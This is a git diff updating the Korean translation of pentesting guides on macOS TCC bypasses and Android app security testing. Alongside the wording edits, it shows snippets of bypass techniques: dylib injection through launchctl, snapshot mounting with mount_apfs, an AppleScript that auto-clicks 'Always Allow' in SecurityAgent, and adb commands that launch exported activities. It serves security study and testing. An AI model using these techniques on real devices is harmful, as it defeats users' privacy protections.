있습니다**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) . -환경 변수를 사용하여 라이브러리를 로드하는 방법에 주목하세요. **커스텀 plist**가 이 라이브러리를 주입하기 위해 생성되었고 **`launchctl`**이 이를 실행하는 데 사용되었습니다: +환경 변수를 사용하여 라이브러리를 로드하는 방법에 주목하세요. **커스텀 plist**가 생성되어 이 라이브러리를 주입하고 **`launchctl`**이 이를 실행하는 데 사용되었습니다: ```xml @@ -378,7 +378,7 @@ launchctl load com.telegram.launcher.plist ``` ## 열린 호출로 -샌드박스화된 상태에서도 **`open`**을 호출할 수 있습니다. +샌드박스 상태에서도 **`open`**을 호출할 수 있습니다. ### 터미널 스크립트 @@ -402,7 +402,7 @@ launchctl load com.telegram.launcher.plist ``` -응용 프로그램은 /tmp와 같은 위치에 터미널 스크립트를 작성하고 다음과 같은 명령으로 실행할 수 있습니다: +애플리케이션은 /tmp와 같은 위치에 터미널 스크립트를 작성하고 다음과 같은 명령으로 실행할 수 있습니다: ```objectivec // Write plist in /tmp/tcc.terminal [...] @@ -413,12 +413,12 @@ task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app", exploit_location]; task.standardOutput = pipe; [task launch]; ``` -## 마운트하여 +## 마운팅을 통해 ### CVE-2020-9771 - mount_apfs TCC 우회 및 권한 상승 **모든 사용자** (특권이 없는 사용자 포함)는 타임 머신 스냅샷을 생성하고 마운트하여 **해당 스냅샷의 모든 파일**에 접근할 수 있습니다.\ -필요한 **유일한 특권**은 사용되는 애플리케이션(예: `Terminal`)이 **전체 디스크 접근** (FDA) 접근 권한(`kTCCServiceSystemPolicyAllfiles`)을 가져야 하며, 이는 관리자가 부여해야 합니다. +필요한 **유일한 특권**은 사용되는 애플리케이션(예: `Terminal`)이 **전체 디스크 접근** (FDA) 권한(`kTCCServiceSystemPolicyAllfiles`)을 가져야 하며, 이는 관리자가 부여해야 합니다. ```bash # Create snapshot tmutil localsnapshot @@ -438,7 +438,7 @@ mkdir /tmp/snap # Access it ls /tmp/snap/Users/admin_user # This will work ``` -보다 자세한 설명은 [**원본 보고서에서 확인할 수 있습니다**](https://theevilbit.github.io/posts/cve_2020_9771/)**.** +더 자세한 설명은 [**원본 보고서에서 확인할 수 있습니다**](https://theevilbit.github.io/posts/cve_2020_9771/)**.** ### CVE-2021-1784 & CVE-2021-30808 - TCC 파일 위에 마운트 @@ -471,15 +471,15 @@ Check the **full exploit** in the [**original writeup**](https://theevilbit.gith 공용 `DiskArbitration` 프레임워크의 함수 `DADiskMountWithArgumentsCommon`이 보안 검사를 수행했습니다. 그러나 `diskarbitrationd`를 직접 호출하여 경로에 `../` 요소와 심볼릭 링크를 사용할 수 있습니다. -이로 인해 공격자는 `diskarbitrationd`의 권한 `com.apple.private.security.storage-exempt.heritable`로 인해 TCC 데이터베이스를 포함하여 임의의 위치에 마운트를 할 수 있었습니다. +이로 인해 공격자는 `diskarbitrationd`의 권한 `com.apple.private.security.storage-exempt.heritable`로 인해 TCC 데이터베이스를 포함한 모든 위치에서 임의의 마운트를 수행할 수 있었습니다. ### asr -도구 **`/usr/sbin/asr`**는 전체 디스크를 복사하고 TCC 보호를 우회하여 다른 위치에 마운트할 수 있게 해주었습니다. +도구 **`/usr/sbin/asr`**는 TCC 보호를 우회하여 전체 디스크를 복사하고 다른 위치에 마운트할 수 있게 해주었습니다. ### Location Services -**`/var/db/locationd/clients.plist`**에 TCC 데이터베이스가 세 번째로 존재하여 **위치 서비스에 접근할 수 있는 클라이언트**를 나타냅니다.\ +**`/var/db/locationd/clients.plist`**에 제3의 TCC 데이터베이스가 있어 **위치 서비스에 접근할 수 있는 클라이언트**를 나타냅니다.\ 폴더 **`/var/db/locationd/`는 DMG 마운트에서 보호되지 않았기 때문에** 우리 자신의 plist를 마운트할 수 있었습니다. ## By startup apps @@ -490,13 +490,13 @@ Check the **full exploit** in the [**original writeup**](https://theevilbit.gith ## By grep -여러 경우에 파일이 이메일, 전화번호, 메시지 등과 같은 민감한 정보를 보호되지 않은 위치에 저장합니다(이는 Apple의 취약점으로 간주됩니다). +여러 경우에 파일이 이메일, 전화번호, 메시지 등과 같은 민감한 정보를 비보호 위치에 저장합니다(이는 Apple의 취약점으로 간주됩니다).
## Synthetic Clicks -이제는 작동하지 않지만, [**과거에는 작동했습니다**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:** +이 방법은 더 이상 작동하지 않지만, [**과거에는 작동했습니다**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md index 355543d4c..23995fd66 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md @@ -5,16 +5,16 @@ ## Apple Scripts 원격 프로세스와 상호작용하는 작업 자동화를 위한 스크립팅 언어입니다. 다른 프로세스에 특정 작업을 수행하도록 요청하는 것이 매우 쉽습니다. **악성 소프트웨어**는 이러한 기능을 악용하여 다른 프로세스에서 내보낸 기능을 남용할 수 있습니다.\ -예를 들어, 악성 소프트웨어는 **브라우저에서 열린 페이지에 임의의 JS 코드를 주입할 수 있습니다**. 또는 **사용자에게 요청된 일부 허용 권한을 자동으로 클릭할 수 있습니다**; +예를 들어, 악성 소프트웨어는 **브라우저에서 열린 페이지에 임의의 JS 코드를 주입**할 수 있습니다. 또는 사용자에게 요청된 일부 허용 권한을 **자동 클릭**할 수 있습니다; ```applescript tell window 1 of process "SecurityAgent" click button "Always Allow" of group 1 end tell ``` 여기 몇 가지 예가 있습니다: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\ -AppleScript를 사용한 악성 소프트웨어에 대한 더 많은 정보는 [**여기**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/)에서 확인하세요. +악성 소프트웨어에 대한 더 많은 정보를 애플스크립트를 사용하여 [**여기**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/)에서 찾으세요. -Apple 스크립트는 쉽게 "**컴파일**"될 수 있습니다. 이러한 버전은 `osadecompile`로 쉽게 "**디컴파일**"될 수 있습니다. +애플 스크립트는 쉽게 "**컴파일**"될 수 있습니다. 이러한 버전은 `osadecompile`로 쉽게 "**디컴파일**"될 수 있습니다. 그러나 이 스크립트는 또한 **"읽기 전용"으로 내보낼 수 있습니다** ( "내보내기..." 옵션을 통해): @@ -23,7 +23,7 @@ Apple 스크립트는 쉽게 "**컴파일**"될 수 있습니다. 이러한 버 file mal.scpt mal.scpt: AppleScript compiled ``` -이 경우 `osadecompile`로도 콘텐츠를 디컴파일할 수 없습니다. +이 경우 `osadecompile`을 사용하더라도 콘텐츠를 디컴파일할 수 없습니다. 그러나 이러한 종류의 실행 파일을 이해하는 데 사용할 수 있는 도구가 여전히 있습니다. [**자세한 내용은 이 연구를 읽어보세요**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). 도구 [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler)와 [**aevt_decompile**](https://github.com/SentineLabs/aevt_decompile)는 스크립트가 어떻게 작동하는지 이해하는 데 매우 유용할 것입니다. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md index a0425a981..6be85bf7a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md @@ -580,7 +580,7 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav {{#tabs}} {{#tab name="ObjectiveC"}} -위치를 `/tmp/logs.txt`에 기록합니다. +`/tmp/logs.txt`에 위치를 기록합니다. ```objectivec #include #include @@ -630,7 +630,7 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt {{#endtab}} {{#tab name="Shell"}} -위치에 접근하십시오. +위치에 접근하기 ``` ??? ``` @@ -877,6 +877,6 @@ return 0; {{#endtab}} {{#endtabs}} -> [!CAUTION] > **접근성은 매우 강력한 권한입니다**, 이를 다른 방식으로 악용할 수 있습니다. 예를 들어, **키스트로크 공격**을 수행할 수 있으며, 이를 위해 System Events를 호출할 필요가 없습니다. +> [!CAUTION] > **접근성은 매우 강력한 권한입니다**, 이를 다른 방식으로 악용할 수 있습니다. 예를 들어, System Events를 호출할 필요 없이 **키스트로크 공격**을 수행할 수 있습니다. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 570a3a66f..10035cd01 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -15,11 +15,11 @@ android-applications-basics.md 이것은 안드로이드 장치(에뮬레이트된 또는 물리적)에 연결하는 데 필요한 주요 도구입니다.\ **ADB**는 컴퓨터에서 **USB** 또는 **네트워크**를 통해 장치를 제어할 수 있게 해줍니다. 이 유틸리티는 **파일 복사**, **앱 설치 및 제거**, **셸 명령 실행**, **데이터 백업**, **로그 읽기** 등 여러 기능을 지원합니다. -ADB를 사용하는 방법을 배우기 위해 다음 [**ADB 명령어 목록**](adb-commands.md)을 확인하세요. +ADB 사용 방법을 배우기 위해 다음 [**ADB 명령어 목록**](adb-commands.md)을 확인하세요. ## Smali -때때로 **숨겨진 정보**(아마도 잘 난독화된 비밀번호나 플래그)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그러므로 apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\ +때때로 **숨겨진 정보**(아마도 잘 난독화된 비밀번호나 플래그)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그런 다음, apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\ [**이 튜토리얼에서** APK를 디컴파일하고 Smali 코드를 수정한 후 새로운 기능으로 APK를 다시 컴파일하는 방법을 **배울 수 있습니다**](smali-changes.md). 이는 **동적 분석 중 여러 테스트의 대안으로 매우 유용할 수 있습니다**. 그러므로 **이 가능성을 항상 염두에 두세요**. ## 기타 흥미로운 팁 @@ -47,7 +47,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ``` ## 정적 분석 -우선, APK를 분석하기 위해 **디컴파일러를 사용하여 Java 코드를 살펴봐야 합니다**.\ +우선, APK를 분석하기 위해서는 **디컴파일러를 사용하여 Java 코드를 살펴봐야 합니다**.\ 자세한 내용은 [**다양한 사용 가능한 디컴파일러에 대한 정보를 읽어보세요**](apk-decompilers.md). ### 흥미로운 정보 찾기 @@ -56,20 +56,20 @@ APK의 **문자열**을 살펴보면 **비밀번호**, **URL** ([https://github. **Firebase** -**firebase URL**에 특별한 주의를 기울이고 잘못 구성되어 있는지 확인하세요. [Firebase가 무엇인지 및 이를 악용하는 방법에 대한 자세한 정보는 여기에서 확인하세요.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +**Firebase URL**에 특별한 주의를 기울이고 잘못 구성되어 있는지 확인하세요. [Firebase가 무엇인지 및 이를 악용하는 방법에 대한 자세한 정보는 여기에서 확인하세요.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### 애플리케이션에 대한 기본 이해 - Manifest.xml, strings.xml -**애플리케이션의 \_Manifest.xml**_\*\* 및 \*\*_**strings.xml**\_\*\* 파일을 검사하면 잠재적인 보안 취약점을 드러낼 수 있습니다\*\*. 이러한 파일은 디컴파일러를 사용하거나 APK 파일 확장자를 .zip으로 변경한 후 압축을 풀어 접근할 수 있습니다. +**애플리케이션의 \_Manifest.xml**_\*\* 및 \*\*_**strings.xml**\_\*\* 파일의 검토는 잠재적인 보안 취약점을 드러낼 수 있습니다\*\*. 이러한 파일은 디컴파일러를 사용하거나 APK 파일 확장자를 .zip으로 변경한 후 압축을 풀어 접근할 수 있습니다. **Manifest.xml**에서 식별된 **취약점**은 다음과 같습니다: - **디버깅 가능한 애플리케이션**: _Manifest.xml_ 파일에서 디버깅 가능(`debuggable="true"`)으로 설정된 애플리케이션은 연결을 허용하여 악용될 위험이 있습니다. 디버깅 가능한 애플리케이션을 찾고 악용하는 방법에 대한 튜토리얼을 참조하세요. - **백업 설정**: 민감한 정보를 다루는 애플리케이션의 경우 `android:allowBackup="false"` 속성을 명시적으로 설정하여 adb를 통한 무단 데이터 백업을 방지해야 합니다. 특히 USB 디버깅이 활성화된 경우에 그렇습니다. - **네트워크 보안**: _res/xml/_의 사용자 지정 네트워크 보안 구성(`android:networkSecurityConfig="@xml/network_security_config"`)은 인증서 핀 및 HTTP 트래픽 설정과 같은 보안 세부정보를 지정할 수 있습니다. 예를 들어 특정 도메인에 대해 HTTP 트래픽을 허용하는 것입니다. -- **내보낸 활동 및 서비스**: 매니페스트에서 내보낸 활동 및 서비스를 식별하면 악용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 구성 요소를 악용하는 방법을 드러낼 수 있습니다. +- **내보낸 활동 및 서비스**: 매니페스트에서 내보낸 활동 및 서비스를 식별하면 악용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 구성 요소를 악용하는 방법을 밝혀낼 수 있습니다. - **콘텐츠 제공자 및 파일 제공자**: 노출된 콘텐츠 제공자는 무단 데이터 접근 또는 수정이 가능할 수 있습니다. 파일 제공자의 구성도 면밀히 검토해야 합니다. -- **브로드캐스트 수신기 및 URL 스킴**: 이러한 구성 요소는 악용될 수 있으며, 입력 취약성에 대한 URL 스킴 관리 방법에 특히 주의해야 합니다. +- **브로드캐스트 수신기 및 URL 스킴**: 이러한 구성 요소는 악용될 수 있으며, 입력 취약점에 대한 URL 스킴 관리 방법에 특히 주의해야 합니다. - **SDK 버전**: `minSdkVersion`, `targetSDKVersion`, `maxSdkVersion` 속성은 지원되는 Android 버전을 나타내며, 보안상의 이유로 구식 취약한 Android 버전을 지원하지 않는 것이 중요합니다. **strings.xml** 파일에서 API 키, 사용자 정의 스키마 및 기타 개발자 노트와 같은 민감한 정보를 발견할 수 있으며, 이러한 리소스를 신중하게 검토할 필요성을 강조합니다. @@ -89,7 +89,7 @@ tapjacking.md **`launchMode`**가 **`singleTask`**로 설정되고 **`taskAffinity`**가 정의되지 않은 **활동**은 작업 하이재킹에 취약합니다. 이는 **애플리케이션**이 설치될 수 있으며, 실제 애플리케이션보다 먼저 실행되면 **실제 애플리케이션의 작업을 하이재킹할 수 있습니다**(즉, 사용자가 **악의적인 애플리케이션과 상호작용하고 있다고 생각하게 됩니다**). -자세한 내용은 다음에서 확인하세요: +자세한 정보는 다음에서 확인하세요: {{#ref}} android-task-hijacking.md @@ -99,12 +99,12 @@ android-task-hijacking.md **내부 저장소** -Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**만 **접근할 수 있도록 설계**되어 있습니다. 이 보안 조치는 Android 운영 체제에 의해 **강제**되며, 대부분의 애플리케이션의 보안 요구 사항에 일반적으로 적합합니다. 그러나 개발자는 때때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`와 같은 모드를 사용하여 파일이 서로 다른 애플리케이션 간에 **공유**될 수 있도록 합니다. 그러나 이러한 모드는 다른 애플리케이션, 특히 잠재적으로 악의적인 애플리케이션에 의한 파일 접근을 **제한하지 않습니다**. +Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**만 **접근할 수 있도록 설계**되었습니다. 이 보안 조치는 Android 운영 체제에 의해 **강제**되며, 대부분의 애플리케이션의 보안 요구 사항에 일반적으로 적합합니다. 그러나 개발자는 때때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`와 같은 모드를 사용하여 파일이 서로 다른 애플리케이션 간에 **공유**될 수 있도록 합니다. 그러나 이러한 모드는 다른 애플리케이션, 특히 잠재적으로 악의적인 애플리케이션에 의한 파일 접근을 **제한하지 않습니다**. 1. **정적 분석:** - `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`의 사용이 **면밀히 검토**되어야 합니다. 이러한 모드는 **원치 않거나 무단 접근**으로 파일을 **노출할 수 있습니다**. 2. **동적 분석:** -- 앱에서 생성된 파일에 설정된 **권한**을 **확인**하세요. 특히, 파일이 **전 세계적으로 읽거나 쓸 수 있도록 설정되어 있는지** 확인하세요. 이는 **어떤 애플리케이션**이든 장치에 설치된 경우, 출처나 의도에 관계없이 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다. +- 앱에서 생성된 파일에 설정된 **권한**을 **확인**합니다. 특히, 파일이 **전 세계적으로 읽거나 쓸 수 있도록 설정되어 있는지** 확인합니다. 이는 **어떤 애플리케이션**이든 장치에 설치된 애플리케이션이 이 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다. **외부 저장소** @@ -116,9 +116,9 @@ Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱** - 접근이 용이하므로 **민감한 정보를 외부 저장소에 저장하지 않는 것이 좋습니다**. - 외부 저장소는 제거되거나 모든 애플리케이션에 의해 접근될 수 있어 보안성이 떨어집니다. 3. **외부 저장소에서 데이터 처리**: -- 외부 저장소에서 검색한 데이터에 대해 항상 **입력 검증**을 수행하세요. 이는 데이터가 신뢰할 수 없는 출처에서 온 것이기 때문에 중요합니다. +- 외부 저장소에서 검색한 데이터에 대해 항상 **입력 검증**을 수행합니다. 이는 데이터가 신뢰할 수 없는 출처에서 온 것이기 때문에 중요합니다. - 동적 로딩을 위해 외부 저장소에 실행 파일이나 클래스 파일을 저장하는 것은 강력히 권장되지 않습니다. -- 애플리케이션이 외부 저장소에서 실행 파일을 검색해야 하는 경우, 이러한 파일이 **서명되고 암호학적으로 검증**되었는지 확인한 후 동적으로 로드해야 합니다. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 중요합니다. +- 애플리케이션이 외부 저장소에서 실행 파일을 검색해야 하는 경우, 이러한 파일이 **서명되고 암호학적으로 검증**되었는지 확인해야 합니다. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 중요합니다. 외부 저장소는 `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`에서 **접근할 수 있습니다**. @@ -149,7 +149,7 @@ A good way to test this is to try to capture the traffic using some proxy like B **Use of Insecure and/or Deprecated Algorithms** -개발자는 **권장되지 않는 알고리즘**을 사용하여 **검사**, **저장** 또는 **전송** 데이터를 수행해서는 안 됩니다. 이러한 알고리즘에는 RC4, MD4, MD5, SHA1 등이 포함됩니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시의 브루트 포스 **저항성**을 높여야 합니다. +개발자는 **권장되지 않는 알고리즘**을 사용하여 **검사**, **저장** 또는 **전송** 데이터를 수행해서는 안 됩니다. 이러한 알고리즘에는 RC4, MD4, MD5, SHA1 등이 포함됩니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시의 무차별 대입 **저항성**을 확보해야 합니다. ### Other checks @@ -266,7 +266,7 @@ You need to activate the **debugging** options and it will be cool if you can ** **Logging** -개발자는 **디버깅 정보**를 공개적으로 노출하는 것에 주의해야 하며, 이는 민감한 데이터 유출로 이어질 수 있습니다. 애플리케이션 로그를 모니터링하여 민감한 정보를 식별하고 보호하기 위해 [**pidcat**](https://github.com/JakeWharton/pidcat) 및 `adb logcat` 도구를 권장합니다. **Pidcat**은 사용 용이성과 가독성 때문에 선호됩니다. +개발자는 **디버깅 정보**를 공개적으로 노출하는 것에 주의해야 하며, 이는 민감한 데이터 유출로 이어질 수 있습니다. 애플리케이션 로그를 모니터링하여 민감한 정보를 식별하고 보호하기 위해 [**pidcat**](https://github.com/JakeWharton/pidcat) 및 `adb logcat` 도구를 사용하는 것이 좋습니다. **Pidcat**은 사용 용이성과 가독성 때문에 선호됩니다. > [!WARNING] > **Android 4.0** 이후 버전에서는 **응용 프로그램이 자신의 로그에만 접근할 수 있습니다**. 따라서 응용 프로그램은 다른 앱의 로그에 접근할 수 없습니다.\ @@ -274,11 +274,11 @@ You need to activate the **debugging** options and it will be cool if you can ** **Copy/Paste Buffer Caching** -Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣기 기능을 가능하게 하지만, **다른 애플리케이션**이 클립보드에 접근할 수 있어 민감한 데이터가 노출될 위험이 있습니다. 민감한 섹션(예: 신용 카드 세부정보)에 대해 **복사/붙여넣기** 기능을 비활성화하는 것이 중요합니다. +Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣기 기능을 가능하게 하지만, **다른 애플리케이션**이 클립보드에 접근할 수 있어 민감한 데이터가 노출될 위험이 있습니다. 신용 카드 세부정보와 같은 애플리케이션의 민감한 섹션에 대해 **복사/붙여넣기** 기능을 비활성화하는 것이 중요합니다. **Crash Logs** -응용 프로그램이 **충돌**하고 **로그를 저장**하는 경우, 이러한 로그는 공격자에게 도움이 될 수 있으며, 특히 응용 프로그램을 리버스 엔지니어링할 수 없는 경우 더욱 그렇습니다. 이 위험을 완화하기 위해 충돌 시 로그를 기록하지 않도록 하고, 로그를 네트워크를 통해 전송해야 하는 경우 보안을 위해 SSL 채널을 통해 전송되도록 해야 합니다. +응용 프로그램이 **충돌**하고 **로그를 저장**하는 경우, 이러한 로그는 공격자에게 도움이 될 수 있으며, 특히 응용 프로그램을 리버스 엔지니어링할 수 없는 경우 더욱 그렇습니다. 이 위험을 완화하기 위해 충돌 시 로그를 기록하지 않도록 하고, 로그를 네트워크를 통해 전송해야 하는 경우 SSL 채널을 통해 전송되도록 해야 합니다. 펜테스터로서, **이 로그를 살펴보는 것을 시도해 보세요**. @@ -288,16 +288,16 @@ Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣 ### SQLite DBs -대부분의 응용 프로그램은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에 생성된 **데이터베이스**, **테이블** 및 **열**의 이름과 저장된 모든 **데이터**를 살펴보아야 합니다. 왜냐하면 **민감한 정보**(취약점이 될 수 있음)를 발견할 수 있기 때문입니다.\ +대부분의 응용 프로그램은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에 생성된 **데이터베이스**, **테이블** 및 **열**의 이름과 저장된 모든 **데이터**를 살펴보아야 합니다. 왜냐하면 **민감한 정보**(취약점이 될 수 있음)를 찾을 수 있기 때문입니다.\ 데이터베이스는 `/data/data/the.package.name/databases`에 위치해야 하며, 예를 들어 `/data/data/com.mwr.example.sieve/databases`와 같습니다. -데이터베이스가 기밀 정보를 저장하고 **암호화되어** 있지만 애플리케이션 내에서 **비밀번호**를 **찾을 수 있다면** 여전히 **취약점**입니다. +데이터베이스가 기밀 정보를 저장하고 **암호화**되어 있지만 애플리케이션 내에서 **비밀번호**를 **찾을 수** 있다면 여전히 **취약점**입니다. `.tables`를 사용하여 테이블을 나열하고, `.schema `을 사용하여 테이블의 열을 나열합니다. ### Drozer (Exploit Activities, Content Providers and Services) -From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 **Android 앱의 역할을 가정하고** 다른 앱과 상호작용할 수 있게 해줍니다. 이는 설치된 애플리케이션이 할 수 있는 모든 작업을 수행할 수 있으며, Android의 프로세스 간 통신(IPC) 메커니즘을 활용하고 기본 운영 체제와 상호작용할 수 있습니다.\ +From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 Android 앱의 역할을 **가정**하고 다른 앱과 상호작용할 수 있게 해줍니다. 이는 설치된 애플리케이션이 할 수 있는 모든 작업을 수행할 수 있으며, Android의 프로세스 간 통신(IPC) 메커니즘을 활용하고 기본 운영 체제와 상호작용할 수 있습니다.\ Drozer는 **내보낸 활동, 내보낸 서비스 및 콘텐츠 제공자를 악용하는 데 유용한 도구**입니다. ### Exploiting exported Activities @@ -307,7 +307,7 @@ Drozer는 **내보낸 활동, 내보낸 서비스 및 콘텐츠 제공자를 악 **Authorisation bypass** -활동이 내보내지면 외부 앱에서 해당 화면을 호출할 수 있습니다. 따라서 **민감한 정보**가 **내보내진** 활동이 있는 경우 **인증** 메커니즘을 **우회**하여 접근할 수 있습니다. +활동이 내보내지면 외부 앱에서 해당 화면을 호출할 수 있습니다. 따라서 **민감한 정보**가 있는 활동이 **내보내진 경우**, **인증** 메커니즘을 **우회**하여 접근할 수 있습니다. [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/#activities) @@ -321,11 +321,11 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity **참고**: MobSF는 활동에서 `android:launchMode`로 _**singleTask/singleInstance**_를 사용할 경우 악성으로 감지하지만, [이것](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) 때문에, 이는 구버전(API 버전 < 21)에서만 위험한 것으로 보입니다. > [!NOTE] -> 권한 우회가 항상 취약점이 되는 것은 아니며, 우회가 어떻게 작동하는지와 어떤 정보가 노출되는지에 따라 다릅니다. +> 권한 우회가 항상 취약점은 아니라는 점에 유의해야 하며, 이는 우회가 어떻게 작동하는지와 어떤 정보가 노출되는지에 따라 다릅니다. **민감한 정보 유출** -**활동은 결과를 반환할 수도 있습니다**. 만약 **`setResult`** 메서드를 호출하고 **민감한 정보를 반환하는** 내보내기된 보호되지 않은 활동을 찾는 데 성공한다면, 민감한 정보 유출이 발생합니다. +**활동은 결과를 반환할 수도 있습니다**. 만약 보호되지 않은 내보내기된 활동을 찾아 **`setResult`** 메서드를 호출하고 **민감한 정보를 반환**한다면, 이는 민감한 정보 유출입니다. #### Tapjacking @@ -333,25 +333,25 @@ Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 ** ### **콘텐츠 제공자 악용 - 민감한 정보 접근 및 조작** -[**콘텐츠 제공자가 무엇인지 새롭게 알고 싶다면 이 글을 읽어보세요.**](android-applications-basics.md#content-provider)\ -콘텐츠 제공자는 기본적으로 **데이터를 공유**하는 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그들로부터 **민감한** 데이터를 **추출**할 수 있을지도 모릅니다. 또한 **SQL 인젝션** 및 **경로 탐색**을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다. +[**콘텐츠 제공자가 무엇인지 새롭게 알고 싶다면 이 내용을 읽어보세요.**](android-applications-basics.md#content-provider)\ +콘텐츠 제공자는 기본적으로 **데이터를 공유**하는 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그로부터 **민감한** 데이터를 **추출**할 수 있을지도 모릅니다. 또한 **SQL 인젝션** 및 **경로 탐색**을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다. [**Drozer로 콘텐츠 제공자를 악용하는 방법을 배우세요.**](drozer-tutorial/#content-providers) ### **서비스 악용** -[**서비스가 무엇인지 새롭게 알고 싶다면 이 글을 읽어보세요.**](android-applications-basics.md#services)\ -서비스의 동작은 `onStartCommand` 메서드에서 시작된다는 것을 기억하세요. +[**서비스가 무엇인지 새롭게 알고 싶다면 이 내용을 읽어보세요.**](android-applications-basics.md#services)\ +서비스의 동작은 `onStartCommand` 메서드에서 시작된다는 점을 기억하세요. -서비스는 기본적으로 **데이터를 수신**하고, **처리**하며 **응답**(또는 하지 않을 수 있음)을 **반환**하는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드를 확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보를 추출**하거나 인증 수단을 우회하기 위해 **동적으로 테스트**해야 합니다.\ +서비스는 기본적으로 **데이터를 수신**하고, **처리**하며 **응답**(또는 응답하지 않을 수 있음)을 **반환**하는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드**를 **확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보를 추출**하거나 인증 수단을 우회하기 위해 **동적으로** **테스트**해야 합니다.\ [**Drozer로 서비스를 악용하는 방법을 배우세요.**](drozer-tutorial/#services) ### **브로드캐스트 수신기 악용** -[**브로드캐스트 수신기가 무엇인지 새롭게 알고 싶다면 이 글을 읽어보세요.**](android-applications-basics.md#broadcast-receivers)\ -브로드캐스트 수신기의 동작은 `onReceive` 메서드에서 시작된다는 것을 기억하세요. +[**브로드캐스트 수신기가 무엇인지 새롭게 알고 싶다면 이 내용을 읽어보세요.**](android-applications-basics.md#broadcast-receivers)\ +브로드캐스트 수신기의 동작은 `onReceive` 메서드에서 시작된다는 점을 기억하세요. -브로드캐스트 수신기는 특정 유형의 메시지를 기다리고 있습니다. 수신기가 메시지를 처리하는 방식에 따라 취약할 수 있습니다.\ +브로드캐스트 수신기는 특정 유형의 메시지를 기다립니다. 수신기가 메시지를 처리하는 방식에 따라 취약할 수 있습니다.\ [**Drozer로 브로드캐스트 수신기를 악용하는 방법을 배우세요.**](./#exploiting-broadcast-receivers) ### **스킴 / 딥 링크 악용** @@ -376,7 +376,7 @@ _패키지 이름을 **생략할 수** 